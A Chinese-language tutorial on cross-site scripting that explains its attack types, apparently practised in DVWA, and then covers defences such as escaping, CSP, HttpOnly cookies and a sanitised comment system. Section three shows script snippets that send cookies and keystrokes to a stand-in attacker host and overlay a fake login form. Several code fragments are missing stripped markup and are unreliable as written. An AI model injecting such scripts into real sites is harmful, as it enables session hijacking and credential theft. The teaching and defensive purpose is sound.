文章目录
一、XSS跨站脚本攻击1.1 XSS的基本原理1.2 BOM操作,让浏览器弹窗:
二、XSS攻击类型详解2.1 反射型XSS(非持久型)2.2 存储型XSS(持久型)2.3 DOM型XSS三、XSS攻击的危害实例3.1 案例1:窃取用户会话3.2 案例2:键盘记录3.3 案例3:钓鱼攻击
四、XSS防御策略4.1 输入过滤4.2 输出编码4.3 使用内容安全策略(CSP)4.4 设置HttpOnly和Secure标志4.5 使用现代框架的安全特性
五、实战演练:构建一个安全的评论系统5.1 后端处理(Node.js示例)5.2 前端处理(React示例)
六 总结
一、XSS跨站脚本攻击
XSS(Cross-Site Scripting,跨站脚本攻击)是一种常见的Web安全漏洞,攻击者通过在网页中注入恶意脚本,当其他用户浏览该网页时,脚本会在用户浏览器中执行,从而达到窃取信息、会话劫持等恶意目的。有趣的是,虽然缩写是XSS而不是CSS,这是为了与层叠样式表(CSS)区分开来。
1.1 XSS的基本原理
想象一下,你访问了一个看似正常的网站,但这个网站有一个隐藏的漏洞:
网站没有对用户输入进行严格过滤攻击者提交了包含恶意脚本的内容这些内容被保存在网站数据库中当你访问该页面时,恶意脚本从服务器加载到你的浏览器并执行
1.2 BOM操作,让浏览器弹窗:
alert():警告弹窗
confirm():确定弹窗
prompt():提示弹窗
二、XSS攻击类型详解
以下代码案例在DVWA进行测试和练习。
2.1 反射型XSS(非持久型)
特点:恶意脚本来自当前HTTP请求,不会存储在服务器上。反射型XSS触发流程:攻击者在url构造恶意代码,再将恶意的url发送给受害者,受害者点击url后就会被攻击。常见漏洞场景:搜索案例:假设一个网站有搜索功能,搜索关键词会显示在结果页面上:
https://example.com/search?query=用户输入
如果网站直接显示用户输入而不做过滤,攻击者可构造如下URL,进行弹窗。
https://example.com/search?query=yang
https://example.com/search?query=yang
当用户点击这个链接时,页面会弹出一个警告框。实际攻击中,这可能是窃取cookie的脚本。
2.2 存储型XSS(持久型)
特点:恶意脚本被保存到服务器数据库中,影响所有访问相关页面的用户。
存储型XSS触发流程:击者在数据中嵌入代码,这样当其他用户请求后,服务器从数据库中查询数据并发给用户,用户浏览此类页面时就可能受到攻击。常见漏洞场景:多见于评论留言,个人信息等处 案例:攻击者在评论框中输入,查询用户的cookie。
alert(document.cookie)
2.3 DOM型XSS
特点:完全在客户端执行,不涉及服务器端案例:网站有一个使用JavaScript从URL获取参数并显示的功能:var search = document.location.href.split('search=')[1];
document.write("您搜索的是: " + search);
攻击者构造URL(当用户访问该URL时,脚本被执行。):https://example.com#search=
三、XSS攻击的危害实例
3.1 案例1:窃取用户会话
这段脚本会将当前用户的cookie发送到攻击者的服务器,攻击者可以利用这些cookie冒充用户登录。
fetch('https://attacker.com:port/steal', {
method: 'POST',
body: document.cookie
});
3.2 案例2:键盘记录
这段代码会记录用户的键盘输入并发送给攻击者,可能获取密码等敏感信息。
document.onkeypress = function(e) {
fetch('https://attacker.com:port/log', {
method: 'POST',
body: String.fromCharCode(e.keyCode)
});
}
3.3 案例3:钓鱼攻击
这段代码会替换整个页面内容,显示一个伪造的登录表单,用户输入的凭证会被发送到攻击者的服务器。
document.body.innerHTML = '';
var fakeLogin = document.createElement('div');
fakeLogin.innerHTML = '
请重新登录
';document.body.appendChild(fakeLogin);
四、XSS防御策略
4.1 输入过滤
原则:对所有用户输入进行严格的验证和过滤 实施:定义明确的输入规则(长度、类型、格式等)使用白名单而非黑名单方法过滤或转义特殊字符(<, >, ", ', &等)
// 简单的HTML标签转义函数
function escapeHtml(str) {
return str.replace(/[&<>'"]/g,
tag => ({
'&': '&',
'<': '<',
'>': '>',
"'": ''',
'"': '"'
}[tag]));
}
4.2 输出编码
原则:根据输出上下文进行适当的编码 实施:HTML主体:使用HTML实体编码HTML属性:除了HTML编码,还要注意引号JavaScript:使用Unicode转义URL:使用URL编码
// HTML属性编码
function escapeAttr(str) {
return str.replace(/"/g, '"').replace(/'/g, ''');
}
// JavaScript字符串编码
function escapeJs(str) {
return str.replace(/\\/g, '\\\\')
.replace(/"/g, '\\"')
.replace(/'/g, "\\'")
.replace(/
.replace(/>/g, '\\x3e');
}
4.3 使用内容安全策略(CSP)
CSP是一种声明机制,允许开发者指定客户端哪些资源可以加载和执行。示例CSP头:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; object-src 'none'; style-src 'self' 'unsafe-inline';
这段代码表示:
默认只允许从当前域加载资源脚本只允许从当前域和https://trusted.cdn.com加载不允许加载插件(object-src)样式只允许从当前域和内联样式
4.4 设置HttpOnly和Secure标志
对于敏感cookie,设置:
Set-Cookie: sessionid=12345; HttpOnly; Secure; SameSite=Strict
HttpOnly:防止JavaScript访问cookieSecure:仅通过HTTPS传输SameSite:限制跨站请求时发送cookie
4.5 使用现代框架的安全特性
现代前端框架如React、Vue、Angular都有内置的XSS防护:React示例:
// React会自动转义变量中的HTML
const userInput = "";
return
// 如果需要渲染HTML,必须明确使用dangerouslySetInnerHTML
return
;五、实战演练:构建一个安全的评论系统
通过例子来实践XSS防御:
5.1 后端处理(Node.js示例)
const express = require('express');
const helmet = require('helmet');
const { body, validationResult } = require('express-validator');
const app = express();
// 使用helmet设置安全HTTP头
app.use(helmet());
// 设置CSP
app.use((req, res, next) => {
res.setHeader(
"Content-Security-Policy",
"default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;"
);
next();
});
// 评论验证中间件
const commentValidator = [
body('username').isString().trim().escape(),
body('comment').isString().trim().escape()
];
// 提交评论
app.post('/comment', commentValidator, (req, res) => {
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}
// 这里应该将验证后的数据保存到数据库
const { username, comment } = req.body;
// 返回成功响应
res.json({ success: true });
});
5.2 前端处理(React示例)
import React, { useState } from 'react';
import DOMPurify from 'dompurify';
function CommentSystem() {
const [comments, setComments] = useState([]);
const [username, setUsername] = useState('');
const [comment, setComment] = useState('');
const handleSubmit = async (e) => {
e.preventDefault();
// 前端验证
if (!username.trim() || !comment.trim()) {
alert('请输入用户名和评论内容');
return;
}
try {
const response = await fetch('/comment', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
username: username.trim(),
comment: comment.trim()
})
});
const data = await response.json();
if (data.success) {
// 使用DOMPurify对用户输入进行清理
const sanitizedComment = DOMPurify.sanitize(comment);
setComments([...comments, {
username: username.trim(),
comment: sanitizedComment
}]);
setUsername('');
setComment('');
}
} catch (error) {
console.error('提交评论出错:', error);
}
};
return (
评论
{comments.map((c, i) => (
{c.username}
{/* 安全渲染评论内容 */}
))}
);
}
六 总结
记住,Web安全是一个持续的过程,不是一次性的任务。保持对安全问题的警觉,定期审查和更新你的安全措施,才能有效保护你的应用和用户免受XSS等攻击的威胁。